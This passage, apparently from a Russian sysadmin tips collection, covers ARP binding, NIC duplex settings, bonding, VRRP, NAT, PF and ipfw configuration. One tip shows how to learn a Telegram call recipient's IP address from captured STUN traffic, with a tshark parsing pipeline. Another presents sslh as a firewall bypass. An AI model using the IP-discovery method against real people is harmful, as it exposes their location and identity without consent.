             # /etc/ethers.local  привязываем
             #  правильный MAC адрес
             arp -f   /etc/ethers.local
    
    3. Делаем этот файл исполняемым и прописываем в файл /etc/rc.local такую
        строчку:
    
                 /etc/static.arp
    
         Еще желательно, чтобы привязки имен юзерских хостов к ip-адресам были
         прописаны в /etc/hosts (это ускорит их поиск). Теперь сервер не будет
         рассылать широковещательные запросы о локальных MAC адресах, т. к. все они
         статически жестко привязаны к ip-адресам. Этим убивается два зайца: не
         рассылаются широковещательные запросы, что экономит траффик и время
         на ответ сервера, и не позволяет пользователю менять свой ip-адрес,
         т. к. сервер все равно пакет будет отправлять на жестко привязанный
         MAC адрес.
    
     
    ----* Включение Device Polling в FreeBSD (доп. ссылка 1)   [комментарии]
     
    man polling - периодических опрос состояния ядром, вместо генерации прерываний 
    (полезно при очень большом числе пакетов проходящих через сетевую карту), 
    возможен комбинированный вариант, когда polling включается при преодалении
    определенного порога нагрузки).
    В конфигурации ядра
       options DEVICE_POLLING
       options HZ=1000
    Далее:
       sysctl kern.polling.enable=1
       sysctl kern.polling.user_frac=50
    
     
    ----* Смена скорости (10/100) и duplex (full/half) на сетевых картах Realtek-8139   Автор: Alexey N. Kovyrin  [комментарии]
     
    1) Duplex можно менять параметром full-duplex модуля 8139too:
       full-duplex=1  (Full-Duplex)
       full-duplex=0  (Half-Duplex)
    
    2) Также существует параметр media, который является набором битовых полей: 
       5-й бит: 1=100Mbps / 0=10Mbps
       4-й бит: 1=Full-Duplex / 0=Half-Duplex
       9-й бит: Форсированная установка параметра duplex (1=Force / 0=Don't Force) 
       9-й бит используется только вместе с 4-м.
    
    3) Примеры:
       modprobe 8139 full-duplex=1  (100Mbps Full-Duplex)
       modprobe 8139 full-duplex=0  (100Mbps Half-Duplex)
       modprobe 8139 media=16  (10Mbps Full-Duplex)
       modprobe 8139 media=48  (100Mbps Full-Duplex)
       modprobe 8139 media=32  (100Mbps Half-Duplex)
       modprobe 8139 media=32  (100Mbps Half-Duplex)
       modprobe 8139 media=0  (10Mbps Half-Duplex)
    
     
    ----* С чем может быть связаны потери пакетов и нестабильная работа ethernet карт ? (доп. ссылка 1)   [комментарии]
     
    Приходилось сталкиваться с проблемами согласования режимов работы карт Intel EtherExpress 100 и 
    Reltek  RTL-8139 c коммутаторами и концентраторами различных производителей. Несогласование 
    проявляется, например в работе карты в режиме half-duplex, а свича в
    full-duplex и т.д. (в linux: /sbin/mii-tool -F 100baseTx-FD eth0)
    
     
    ----* Как в Linux выставить принудительно 100Mb FullDuplex для Intel EtherExpress Pro100, а то auto-select с некоторыми свичами не работает. (доп. ссылка 1)   [обсудить]
     
    /sbin/mii-tool -F 100baseTx-FD eth0
    или ethtool -s eth0 speed 100 duplex full autoneg off
    
    Для модуля:
    В /etc/modules.conf:  
      options eepro100 options=0x200 full_duplex=1
      alias eth0 eepro100 
    insmod eepro100.o debug=1 options=0x200
    Для ядра в boot приглашении:
         ether=0,0,0x200,eth0 
    PS. Для драйвера версии меньше 1.14 (mod_info -a eepro100) вместо 0x200 следует писать 0x30.
    
     
    ----* Почему выкачиваются данные с машины нормально, как только пытаюсь что-то закачать - соединение останавливается, даже через ssh больше 5 мин. не удается поработать. Другие машины работают нормально.   [комментарии]
     
    Неоднократно замечена проблема работы сетевых карт на базе RealTek 8129/8139 (машины под FreeBSD, 
    но с другими ОС тоже проявляется) с некоторыми концентраторами и коммутаторами. 
    Проявляется в замирании  сессий до истечения таймаута. 
    Диагностика: ping -s N remote_ip, при больших N не проходят.
    Решение: Смените сетевую карту, например, на Intel EtherExpress Pro.
    
     
    ----* Как переключить сетевую карту в FreeBSD из full-duplex в half-duplex   [комментарии]
     
    Текущий режим работы сетевой карты можно посмотреть выполнив:
    # ifconfig fxp0 
    Перевести сетевую карту в режим работы 10baseT/UTP half-duplex:
    # ifconfig fxp0 media 10baseT/UTP mediaopt half-duplex
    Автоматически выбрать режим:
    # ifconfig fxp0 media autoselect
    Подробнее: man 4 ed, man 4 rl, man 4 fxp
    
     
    ----* Объединение сетевых интерфейсов в Gentoo Linux (доп. ссылка 1)   Автор: Sheridan  [комментарии]
     
    Довольно часто бывает, что пропускной способности не хватает.
    Если у вас нет гигабитной сетевой карты (или порта на свиче), не расстраивайтесь. 
    Можно вставить в компьютер еще 1-2 сетевухи и объединить интерфейсы в один. 
    Данная операция называется bonding. Так как под рукой у меня только Gentoo, 
    то могу привести алгоритм объединения интерфейсов только для него.
    
    Итак.
    
    1. emerge ifenslave
    
    2. Редактируем /etc/conf.d/net:
    2.1 Комментируем текущий конфиг
    2.2 Пишем следующее:
    
       slaves_bond0="eth0 eth1"
       config_bond0=( "192.168.1.101 netmask 255.255.255.0 brd 192.168.1.255" )
       routes_bond0=( "default gw 192.168.1.11" )
    
    config_bond0 и routes_bond0 берем из закомментированного конфига
    (скорее всего это будет config_eth0 и routes_eth0). 
    То есть настраиваем bond0 как обычный интерфейс
    
    3. Делаем симлинк из /etc/init.d/net.lo в /etc/init.d/net.bond0
    
    4. Проверяем:
       ~# /etc/init.d/net.eth0 stop
       ~# /etc/init.d/net.bond0 start
    
    5. Если все нормально, то добавляем старт интерфейса при загрузке
    
       ~# rc-update -d net.eth0
       ~# rc-update -a net.bond0 boot
    
    Все, скорость линка должна возрасти.
    
     
    ----* Дублирование сервера с использованием VRRP (доп. ссылка 1)   Автор: Ron McCarty  [комментарии]
     
    Имеется два сервера - первичный и запасной. При помощи протокола VRRP (Virtual
    Router Redundancy Protocol)
    при крахе первичного сервера, автоматически поднимаем его MAC и IP на запасном.
    
    Устанавливаем vrrpd (http://sourceforge.net/projects/vrrpd/).
    
    На первичном сервере выполняем:
    
       vrrpd -i eth0 -p 25 -v 1 192.168.1.1
    
    На запасном:
    
      vrrpd -i eth0 -p 24 -v 1 192.168.1.1
    
    ,где
        -i eth0  - имя интерфейса на котором будет установлен IP 192.168.1.1
        -v 1 - (virtual router) номер VRRP связки 
                (в локальной сети может быть несколько резервирующих друг-друга систем)
       -p N - приоритет, машина с меньшим весом будет активирована, только при недоступности системы с большим весом.
    
    При тестировании можно использовать tcpdump -vv proto 112
    
     
    ----* Как привязать IP к MAC-адресу сетевой карты (доп. ссылка 1)   Автор: Dima I. Allaverdov  [комментарии]
     
    arp -s ваш.ip.адрес mac.адрес.сетевой.карты pub
    Пример: /usr/sbin/arp -s 192.168.0.10 0:0:e7:ac:4c:63 pub
    
    Начиная с FreeBSD 4.10 в ifconfig доступна опция staticarp, 
    заставляющий интерфейс только отвечать на ARP запросы для привязанных к нему адресам.
    
     

       NAT, трансляция адресов

    ----* Определение IP-адреса пользователя в Telegram через голосовой вызов (доп. ссылка 1) (доп. ссылка 2)   [комментарии]
     
    По умолчанию Telegram устанавливает прямой канал связи при осуществлении
    голосового вызова пользователя, присутствующего в адресной книге (в настройках
    можно выборочно отключить использование P2P и направлять трафик только через
    внешний сервер). При инициировании соединения для обхода NAT в Telegram
    применяется протокол STUN (Session Traversal Utilities for NAT), который
    передаёт информацию об адресах звонящего и принимающего звонок в поле
    XOR-MAPPED-ADDRESS. Соответственно, если в настройках "Security and Privacy" не
    отключён P2P, звонящий может узнать IP-адрес того, кому адресован звонок. Метод
    подойдёт и для любых других приложений, использующих STUN.
    
    Для определения IP-адреса следует  во время осуществления вызова записать дамп
    трафика в формате pcap, например, при помощи утилиты tcpdump или tshark, после
    чего воспользоваться готовым скриптом
    https://github.com/n0a/telegram-get-remote-ip/ или при помощи штатных утилит
    проанализировать значение поля XOR-MAPPED-ADDRESS:
    
       tshark -w dump.pcap -a duration:5
       cat dump.pcap | 
         grep "STUN 106" | 
         sed 's/^.*XOR-MAPPED-ADDRESS: //' | 
         awk '{match($0,/[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+/); ip = substr($0,RSTART,RLENGTH); print ip}' |
         awk '!seen[$0]++'
    
     
    ----* Мультиплексирование ssl/ssh соединений через один 443 порт (доп. ссылка 1)   [комментарии]
     
    В рамках проекта sslh (http://www.rutschle.net/tech/sslh.shtml) развивается
    мультиплексор ssl/ssh соединений, способный принимать соединения на одном порту
    и перебрасывать их в зависимости от типа протокола. Поддерживается широкий
    спектр протоколов, среди которых  HTTP, HTTPS, SSH, OpenVPN, tinc и XMPP.
    Наиболее востребованным применением sslh является обход межсетевых экранов,
    допускающих только ограниченное число открытых портов.
    
    Например, запустив sslh за пределами межсетевого экрана на 443 порту, можно
    организовать работу SSH и любых других протоколов: соединение с внешней системы
    будет производиться на 443 порт, но пробрасываться на локальный 22 порт, при
    этом штатные HTTPS-запросы будут перебрасываться на localhost:443.
    
    Для обеспечения работы такой схемы sslh следует запустить с опциями:
    
       sslh --user sslh --listen 192.168.10.15:443 --ssh 127.0.0.1:22 --ssl 127.0.0.1:443
    
    где, "--user sslh" определяет пользователя, под которым следует запустить sslh;
    "--listen 192.168.10.15:443" - IP и порт для приёма внешних соединений;
    "--ssh 127.0.0.1:22" - IP и порт для проброса SSH
    "--ssl 127.0.0.1:443" - IP и порт для проброса HTTPS
    
     
    ----* Проброс 802.1q/access порта в Linux через IP-сеть   Автор: Roman Timofeev  [комментарии]
     
    В 2007 году я написал заметку с похожим названием.
    
    Тогда использовалась userspace-реализация с tap-интерфейсом и демоном vtund.
    Особой производительностью этот вариант не отличался.
    В свежих ядрах Linux появилась поддержка l2tpv3 ethernet pseudowire.
    
    Организуем l2-линк с udp-инкапсуляцией между двумя хостами laptus и gw:
    
       laptus# ip l2tp add tunnel tunnel_id 1 peer_tunnel_id 1 udp_sport 5000 \\
          udp_dport 5000 encap udp local 192.168.1.39 remote 213.x.x.x
       laptus# ip l2tp add session tunnel_id 1 session_id 1 peer_session_id 1
       laptus# ip a a 192.168.30.2/24 dev l2tpeth0
    
       gw# ip l2tp add tunnel tunnel_id 1 peer_tunnel_id 1 udp_sport 5000 \\
          udp_dport 11932 encap udp local 213.x.x.x remote 188.134.x.x
       gw# ip l2tp add session tunnel_id 1 session_id 1 peer_session_id 1
       gw# ip a a 192.168.30.1/24 dev l2tpeth0
    
    (так как машина laptus на NAT, то пришлось сначала сконфигурировать туннель на
    нём и запустить ping 192.168.30.1 и на внешнем интерфейсе gw "подсмотреть"
    ip:port, в который оттранслировались пакеты на выходе. Если у вас на обоих
    концах публичные ip - всё просто).
    
    Теперь попробуем сделать что-то полезное:
    
       laptus# ip link add link l2tpeth0 name vlan5 type vlan id 5
       laptus# ip link add link l2tpeth0 name vlan6 type vlan id 6
       laptus# ip a a dev vlan5 10.1.5.2/24
       laptus# ip a a dev vlan6 10.1.6.2/24
    
       gw# ip link add link l2tpeth0 name vlan5 type vlan id 5
       gw# ip link add link l2tpeth0 name vlan6 type vlan id 6
       gw# ip a a dev vlan5 10.1.5.1/24
       gw# ip a a dev vlan6 10.1.6.1/24
    
       laptus# ping 10.1.6.1
       PING 10.1.6.1 (10.1.6.1) 56(84) bytes of data.
       64 bytes from 10.1.6.1: icmp_req=1 ttl=64 time=5.77 ms
       64 bytes from 10.1.6.1: icmp_req=2 ttl=64 time=13.4 ms
       64 bytes from 10.1.6.1: icmp_req=3 ttl=64 time=17.6 ms
       ^C
       --- 10.1.6.1 ping statistics ---
       3 packets transmitted, 3 received, 0% packet loss, time 2002ms
       rtt min/avg/max/mdev = 5.776/12.295/17.671/4.922 ms
    
    при этом tcpdump -e -n -i l2tpeth0 на gw покажет:
    
       16:44:30.055082 b2:19:70:63:90:85 > 76:a9:12:12:c7:30, ethertype IPv4 (0x0800), length 98: 192.168.30.2 > 192.168.30.1: ICMP echo request, id 26927, seq 1376, length 64
       16:44:30.055116 76:a9:12:12:c7:30 > b2:19:70:63:90:85, ethertype IPv4 (0x0800), length 98: 192.168.30.1 > 192.168.30.2: ICMP echo reply, id 26927, seq 1376, length 64
       16:44:30.990689 b2:19:70:63:90:85 > 76:a9:12:12:c7:30, ethertype 802.1Q (0x8100), length 102: vlan 6, p 0, ethertype IPv4, 10.1.6.2 > 10.1.6.1: ICMP echo request, id 27037, seq 2, length 64
       16:44:30.990734 76:a9:12:12:c7:30 > b2:19:70:63:90:85, ethertype 802.1Q (0x8100), length 102: vlan 6, p 0, ethertype IPv4, 10.1.6.1 > 10.1.6.2: ICMP echo reply, id 27037, seq 2, length 64
    
    l2tpeth можно объединить бриджом с физическим интерфейсом. 
    выглядит это примерно так:
    
       root@atomus:~# ip a s l2tpeth0
    
       7: l2tpeth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master vl0 state UNKNOWN qlen 1000
        link/ether 1e:7f:ec:bd:cf:6a brd ff:ff:ff:ff:ff:ff
    
       root@atomus:~# ip a s vl0
    
       9: vl0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP 
        link/ether 1e:7f:ec:bd:cf:6a brd ff:ff:ff:ff:ff:ff
        inet 10.1.1.10/24 brd 10.1.1.255 scope global vl0
    
       root@atomus:~# ip a s vlan5
    
       11: vlan5@vl0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP 
        link/ether 1e:7f:ec:bd:cf:6a brd ff:ff:ff:ff:ff:ff
        inet 10.1.5.10/24 brd 10.1.5.255 scope global vlan5
    
       root@atomus:~# ip a s vlan222
    
       12: vlan222@vl0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP 
        link/ether 1e:7f:ec:bd:cf:6a brd ff:ff:ff:ff:ff:ff
        inet 10.1.222.10/24 brd 10.1.222.255 scope global vlan222
    
       root@atomus:~# brctl show
    
       bridge name     bridge id               STP enabled     interfaces
       vl0             8000.1e7fecbdcf6a       no              l2tpeth0
    
       root@gw:~# ip a s vlan222
    
       68: vlan222@l2tpeth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1488 qdisc noqueue state UP 
           link/ether c6:8c:43:30:88:03 brd ff:ff:ff:ff:ff:ff
           inet 10.1.222.1/24 brd 10.1.222.255 scope global vlan222
    
       root@gw:~# ip a s l2tpeth0
    
       64: l2tpeth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN qlen 1000
        link/ether c6:8c:43:30:88:03 brd ff:ff:ff:ff:ff:ff
        inet 10.1.1.1/24 brd 10.1.1.255 scope global l2tpeth0
    
       root@atomus:~# ping 10.1.5.1
       PING 10.1.5.1 (10.1.5.1) 56(84) bytes of data.
       64 bytes from 10.1.5.1: icmp_req=1 ttl=64 time=6.37 ms
       64 bytes from 10.1.5.1: icmp_req=2 ttl=64 time=5.53 ms
       ......
    
       root@atomus:~# ping 10.1.222.1
       PING 10.1.222.1 (10.1.222.1) 56(84) bytes of data.
       64 bytes from 10.1.222.1: icmp_req=1 ttl=64 time=10.0 ms
       64 bytes from 10.1.222.1: icmp_req=2 ttl=64 time=4.24 ms
       .....
    
    Как видим, к нам приходит тегированный трафик:
    
       root@gw:~# tcpdump -n -e -i l2tpeth0
    
       tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
       listening on l2tpeth0, link-type EN10MB (Ethernet), capture size 65535 bytes
       19:21:33.962979 1e:7f:ec:bd:cf:6a > c6:8c:43:30:88:03, ethertype 802.1Q (0x8100), length 102: vlan 5, p 0, ethertype IPv4, 10.1.5.10 > 10.1.5.1: ICMP echo request, id 3765, seq 139, length 64
       19:21:33.963047 c6:8c:43:30:88:03 > 1e:7f:ec:bd:cf:6a, ethertype 802.1Q (0x8100), length 102: vlan 5, p 0, ethertype IPv4, 10.1.5.1 > 10.1.5.10: ICMP echo reply, id 3765, seq 139, length 64
       19:21:33.986660 1e:7f:ec:bd:cf:6a > c6:8c:43:30:88:03, ethertype 802.1Q (0x8100), length 102: vlan 222, p 0, ethertype IPv4, 10.1.222.10 > 10.1.222.1: ICMP echo request, id 3764, seq 149, length 64
       19:21:33.986698 c6:8c:43:30:88:03 > 1e:7f:ec:bd:cf:6a, ethertype 802.1Q (0x8100), length 102: vlan 222, p 0, ethertype IPv4, 10.1.222.1 > 10.1.222.10: ICMP echo reply, id 3764, seq 149, length 64
       19:21:35.165848 1e:7f:ec:bd:cf:6a > c6:8c:43:30:88:03, ethertype 802.1Q (0x8100), length 102: vlan 5, p 0, ethertype IPv4, 10.1.5.10 > 10.1.5.1: ICMP echo request, id 3765, seq 140, length 64
       19:21:35.165903 c6:8c:43:30:88:03 > 1e:7f:ec:bd:cf:6a, ethertype 802.1Q (0x8100), length 102: vlan 5, p 0, ethertype IPv4, 10.1.5.1 > 10.1.5.10: ICMP echo reply, id 3765, seq 140, length 64
       19:21:35.168489 1e:7f:ec:bd:cf:6a > c6:8c:43:30:88:03, ethertype 802.1Q (0x8100), length 102: vlan 222, p 0, ethertype IPv4, 10.1.222.10 > 10.1.222.1: ICMP echo request, id 3764, seq 150, length 64
       ...
    
    а тут уже тегов нет:
    
       root@gw:~# tcpdump -n -e -i vlan5   
    
       tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
       listening on vlan5, link-type EN10MB (Ethernet), capture size 65535 bytes
       19:22:17.038686 1e:7f:ec:bd:cf:6a > c6:8c:43:30:88:03, ethertype IPv4 (0x0800), length 98: 10.1.5.10 > 10.1.5.1: ICMP echo request, id 3765, seq 182, length 64
       19:22:17.038759 c6:8c:43:30:88:03 > 1e:7f:ec:bd:cf:6a, ethertype IPv4 (0x0800), length 98: 10.1.5.1 > 10.1.5.10: ICMP echo reply, id 3765, seq 182, length 64
       19:22:18.041890 1e:7f:ec:bd:cf:6a > c6:8c:43:30:88:03, ethertype IPv4 (0x0800), length 98: 10.1.5.10 > 10.1.5.1: ICMP echo request, id 3765, seq 183, length 64
       19:22:18.041935 c6:8c:43:30:88:03 > 1e:7f:ec:bd:cf:6a, ethertype IPv4 (0x0800), length 98: 10.1.5.1 > 10.1.5.10: ICMP echo reply, id 3765, seq 183, length 64
    
    
       root@gw:~# tcpdump -n -e -i vlan222
    
       tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
       listening on vlan222, link-type EN10MB (Ethernet), capture size 65535 bytes
       19:23:14.155061 1e:7f:ec:bd:cf:6a > c6:8c:43:30:88:03, ethertype IPv4 (0x0800), length 98: 10.1.222.10 > 10.1.222.1: ICMP echo request, id 3764, seq 249, length 64
       19:23:14.155100 c6:8c:43:30:88:03 > 1e:7f:ec:bd:cf:6a, ethertype IPv4 (0x0800), length 98: 10.1.222.1 > 10.1.222.10: ICMP echo reply, id 3764, seq 249, length 64
       19:23:15.150799 1e:7f:ec:bd:cf:6a > c6:8c:43:30:88:03, ethertype IPv4 (0x0800), length 98: 10.1.222.10 > 10.1.222.1: ICMP echo request, id 3764, seq 250, length 64
       19:23:15.150833 c6:8c:43:30:88:03 > 1e:7f:ec:bd:cf:6a, ethertype IPv4 (0x0800), length 98: 10.1.222.1 > 10.1.222.10: ICMP echo reply, id 3764, seq 250, length 64
    
    если требуется "протащить" несколько trunk-интерфейсов, то достаточно сказать:
    
       ip l2tp add session tunnel_id 1 session_id 2 peer_session_id 2
    
    В рамках одно туннеля может быть 65535 сессий.
    
     
    ----* Выявление NAT-устройства в сети   Автор: Kirill  [комментарии]
     
    Значения TTL в популярных ОС известны
    (http://www.binbert.com/blog/2009/12/default-time-to-live-ttl-values/), например,
     в Linux 2.6.x и FreeBSD - 64, в Windows - 128.
    
    Если в сети имеется маршрутизатор на базе *nix или если есть возможность
    завернуть трафик на определенный хост, или настроен PBR на прозрачный прокси -
    на этой машине нужно выполнить:
    
       # tcpdump -vv -n -i @interface@ 'ip[7:2] != 128 and ip[7:2] != 64'
    
    Соответственно, если пакеты приходят с вашего маршрутизатора после PBR,
    значение TTL нужно уменьшить на 1.
    Но эта информация неточная, так как TLL в ОС можно поменять.
    Также полезным дополнением внутри этой команды будет 'src net @ваша внутренняя
    сеть@' и 'src net not @сеть, которую нужно исключить@'.
    
     
    ----* Организация доступа к IPTV через NAT (доп. ссылка 1)   Автор: Антон Каукин  [комментарии]
     
    Инструкция для желающих настроить Multicast Routing на Linux шлюзе,
    обеспечивающем работу клиентов через NAT.
    Для переброса IGMP-трафика между подсетями будем использовать демон igmpproxy  (http://sourceforge.net/projects/igmpproxy)
    
    Ставим IGMP Proxy из пакетов используемого дистрибутива или устанавливаем из исходных текстов:
    
       # tar -zxf igmpproxy-src-0.1.tar.gz
       # cd igmpproxy/
       # less README
       # cd src/
       # make && make install
    
    Правим файл конфигурации /etc/igmpproxy.conf. В представленном примере,
    интерфейс eth0 смотрит в публичную сеть провайдера Mig Telecom, а eth1 в
    домашнюю сеть.
    
       # Enable Quickleave mode (Sends Leave instantly)
       # Эту строчку раскомментируют только в том случае,
       # если внути всего лишь один клиент IP TV
    
       #quickleave
    
       # Configuration for eth0 (Upstream Interface)
       # Здесь указаны параметры для публичного интерфейса,
       # на который придет поток от провайдера
    
       phyint eth0 upstream ratelimit 0  threshold 1
               altnet 10.20.0.0/16
               altnet 88.210.40.0/24
               altnet 80.240.211.0/22
    
       # Configuration for eth1 (Downstream Interface)
       # Типовая конфигурация для внутреннего интерфейса
    
       phyint eth1 downstream ratelimit 0  threshold 1
    
       # Configuration for eth2 (Disabled Interface)
       # eth2 в системе есть, но не используется никем, отключаем
    
       phyint eth2 disabled
    
    Запускаем igmpproxy и переходим к небольшой конфигурации IPTables.
    Вот этот набор правил понадобился для корректной работы пакетного фильтра,
    разрешается весь входящий мультикст, разрешается его форвардинг и плюс ко всему
    добавляем в TTL 1, без этого добавления не работает если пакеты от провайдера
    приходят с минимально выставленным TTL.
    
       modprobe ipt_TTL
       iptables -t filter -A INPUT -d 224.0.0.0/240.0.0.0 -i eth0 -j   ACCEPT
       iptables -t filter -A INPUT -s 224.0.0.0/240.0.0.0 -i eth0 -j ACCEPT
       iptables -t filter -A FORWARD -d 224.0.0.0/240.0.0.0 -j ACCEPT
       iptables -t filter -A FORWARD -s 224.0.0.0/240.0.0.0 -j ACCEPT
       iptables -t mangle -A PREROUTING -d 224.0.0.0/240.0.0.0 -p udp -j TTL --ttl-inc 1
    
     
    ----* Настройка пакетного фильтра PF для проброса SIP-телефонов через NAT (доп. ссылка 1) (доп. ссылка 2)   Автор: argo  [комментарии]
     
    Во FreeBSD для включения PF указываем в /etc/rc.conf:
       pf_enable="YES"
    
    При необходимости выделения гарантированной полосы пропускания для голосового
    трафика задействуем ALTQ.
    Пересобираем ядро с поддержкой ALTQ, указав в конфигурации:
       options         ALTQ
       options         ALTQ_CBQ        # Class Bases Queuing (CBQ)
       options         ALTQ_RED        # Random Early Detection (RED)
       options         ALTQ_RIO        # RED In/Out
       options         ALTQ_HFSC       # Hierarchical Packet Scheduler  (HFSC)
       options         ALTQ_PRIQ       # Priority Queuing (PRIQ)
       options         ALTQ_NOPCC      # Required for SMP build
    
    Далее для организации NAT для машин с SIP телефонами используем следующие
    настройки пакетного фильтра (/etc/pf.conf):
    
       # Вернет ошибку, порт заблокирован
       set block-policy return
     
       # тайм-аут UDP сессии должен быть равен или больше, чем время регистрации SIP 
       # Таймер тайм-аута. Обычно достаточно 300 секунд.
       set timeout { udp.first 300, udp.single 150, udp.multiple 900 }
     
       # переменные
       int_if = "fxp0"
       ext_if = "fxp1"
       int_net = "192.168.1.0/24"
       ipphone1 = "192.168.1.18"
       ipphone2 = "192.168.1.19"
     
       # Включим очереди для внешнего интерфейса. Отделим голосовой трафик от данных
       altq on $ext_if hfsc bandwidth 512Kb queue { q_voice, q_other }
       queue q_voice bandwidth 3.84Kb priority 6 hfsc(realtime 96Kb)
       queue q_other bandwidth 416Kb hfsc { q_pri, q_std, q_low }
       queue q_pri   bandwidth 200Kb priority 3 hfsc(red realtime 64Kb)
       queue q_std   bandwidth 200Kb priority 2 hfsc(default red )
       queue q_low   bandwidth 3.84Kb priority 1 hfsc(red )
     
       # Для каждого IP- телефона свое правило трансляции nat.
       # Параметр static-port нужен для сохранения временного порта UDP.
       # Это нужно чтобы удаленный SIP прокси знал к какой сессии привязан наш IP телефон.
       nat on $ext_if proto udp from $ipphone1 to any -> ($ext_if) static-port
       nat on $ext_if proto udp from $ipphone2 to any -> ($ext_if) static-port
     
       # Правило NAT для остальных устройств локальной сети
       nat on $ext_if from $int_net to any -> ($ext_if)
     
       pass in  quick on lo0 all
       pass out quick on lo0 all
     
       # Разрешаем SIP трафик с телефонов на локальном интерфейсе 
       pass in  quick on $int_if proto udp from $ipphone1 to any tag VOIP keep state
       pass in  quick on $int_if proto udp from $ipphone2 to any tag VOIP keep state
     
       pass in  quick on $ext_if proto tcp from any to any port 22 keep state \
         queue(q_std,q_pri)
       pass in  quick on $ext_if proto tcp from any to any port 80 keep state \
         queue q_low
     
       pass out quick on $ext_if tagged VOIP queue q_voice keep state
       pass out quick on $ext_if proto tcp from any to any port 22 keep state \
         queue(q_std,q_pri)
       pass out quick on $ext_if proto tcp from any to any flags S/SA keep state \
         queue(q_std,q_pri)
       pass out quick on $ext_if proto udp from any to any port 53 queue q_pri \
         keep state
     
       # Разрешаем с внешнего интерфейса наружу  tcp, udp, icmp
       pass out quick on $ext_if proto { tcp, udp, icmp } all keep state
     
       block in log all
    
    
    Конфигурация была протестирована на VoIP телефоне Cisco 7960, 
    NAT прокси и outbound_proxy не используются, в телефоне настроен прокси-сервер
    SIP и порт контроля 5060/udp. Функция STUN в телефоне включена, хотя некоторые
    коммерческие SIP-прокси могут работать без него.
    
    Проверить очереди: 
       pfctl -vsq -v
    
    Очистить таблицы состояний: 
       pfctl -F state
    
    Проверка правил: 
       pfctl -s rules -v
    
     
    ----* Трансляция адресов во FreeBSD средствами ng_nat (доп. ссылка 1)   Автор: Folio  [комментарии]
     
    Для работы этого примера необходимо иметь подгруженный ng_ipfw.ko
    
    Убедиться в его наличии можно командой:
    
       /sbin/kldstat| grep ng_ipfw.ko
    
    Если ng_ipfw.ko не загружен, то загружаем его:
    
       /sbin/kldload /boot/kernel/ng_ipfw.ko
    
    После того как ng_ipfw.ko подгружен, в выводе команды:
    
       /usr/sbin/ngctl list
    
    появится строчка вида:
    
       Name: ipfw Type: ipfw ID: 00000023 Num hooks: 2
    
    Без загруженного ng_ipfw.ko при попытке выполнить команды ngctl'а вы будете получать сообщение:
    
       ngctl: send msg: No such file or directory
    
    а при попытке добавить правило в ipfw получите:
    
       ipfw: getsockopt(IP_FW_ADD): Invalid argument
    
    Настройка ng_nat проста и сводится к скрипту:
    
    Для примера будем NAT'ить подсеть 172.16.5.96/27 через IP-адрес 192.168.20.8 на
    внешнем интерфейсе fxp0.
    
       #!/usr/bin/perl
    
       $ip='192.168.20.8';
       $iface='fxp0';
       $net='172.16.5.96/27';
       $cmd=sprintf("/usr/sbin/ngctl -f - << -EOF
       mkpeer ipfw: nat 60 out
       name ipfw:60 nat
       connect ipfw: nat: 61 in
       msg nat: setaliasaddr %s
       ",$ip);
       system($cmd);
    
       ###добавляем необходимые правила в firewall
       $cmd=sprintf("/sbin/ipfw add 1000 netgraph 61 all from any to %s via %s in",$ip,$iface);
       system($cmd);
       $cmd=sprintf("/sbin/ipfw add 1010 netgraph 60 all from %s to any via %s out",$net,$iface);
       system($cmd);
    
    где:
    
    $ip - IP адрес, через который будет работать нат (который смотрит в интернет)
    $iface - ваш внешний интерфейс
    $net - IP подсеть, которую мы собираемся NAT'ить
    netgraph - правило в firewall, аналогично divert, только перенаправляет трафик не в socket, 
    а в ноду netgraph, 60, 61 - адреса исходящего и входящего хуков.
    
    Если делать руками в консоли, то команды выглядят следующим образом:
    
       ###создаем ноду nat и подключаем к ipfw
       /usr/sbin/ngctl mkpeer ipfw: nat 60 out 
       ###даем ноде имя "natA" 
       /usr/sbin/ngctl name ipfw:60 natA   
       ###соединяем входящие и исходящие хуки  для "natA"
       /usr/sbin/ngctl connect ipfw: natA: 61 in 
       ###посылаем управляющее сообщение в виде IP адреса, через который будет работать нат.   
       /usr/sbin/ngctl msg natA: setaliasaddr 192.168.20.8   
    
    Если все работает, то мы можем посмотреть вывод следующей команды:
    
       ngctl show natA:
    
    Также можно посмотреть все целиком:
    
       ngctl list
    
    Для выключения настроенного NAT нужно выполнить команду:
    
       ngctl shutdown natA:
    
    Заметка:
    
    Если вы хотите запустить NAT на нескольких внешних IP-адресах, но не забывайте изменять имена нод 
    (в примере natA) и номера хуков (в примере 60,61) т.к. они должны быть
    уникальны для каждого из процессов.
    
    Не путайте in и out в создаваемой ноде и правилах ipfw.
    
    Чтиво:
    
    man 8 ipfw
    Все о Netgraph (http://citrin.ru/netgraph/)
    man 4 netgraph
    man 4 ng_ipfw
    
     
    ----* Port mapping и открытие портов наружу во FreeBSD 7.1 (ipfw + kernel nat)   Автор: reZon  [комментарии]
     
    Для начала надо пересобрать ядро со следующими опциями
    
       options         IPFIREWALL              #firewall
       options         IPFIREWALL_VERBOSE      #enable logging to syslogd(8)
       options         IPFIREWALL_DEFAULT_TO_ACCEPT    #allow everything by default
       options         IPDIVERT
       options         IPFIREWALL_FORWARD
       options         DUMMYNET
       options         IPFIREWALL_NAT          #ipfw kernel nat support
       options         LIBALIAS
    
    Далее пересобираем ядро:
    
       cd /usr/src/
       make buildkernel KERNCONF=Yourkernel && make installkernel KERNCONF=Yourkernel 
    
       shutdown -r now
    
    Далее кусок файла конфигурации с примером.
    192.168.1.132 - ip адрес сетевой карты смотрящей наружу
    останое внутренние адреса
    
       #!/bin/sh
       # здесь просто удаляю старые правила 
       ipfw -f flush
       ipfw nat 122 delete
    
       # разрещаю все через loopback
       ipfw add allow all from any to any via lo0
    
       # делаю нат на ip смотрящем наружу, same_ports - для попытки сохранить номера портов при нате
       ipfw nat 123 config ip 192.168.1.132 log same_ports \
    
       # пробрасываю все что приходит на порт 9999 на тот же порт внутренней машины 
       # как вариант можно указать -redirect_port tcp 192.168.4.86:9999 192.168.1.132:9999
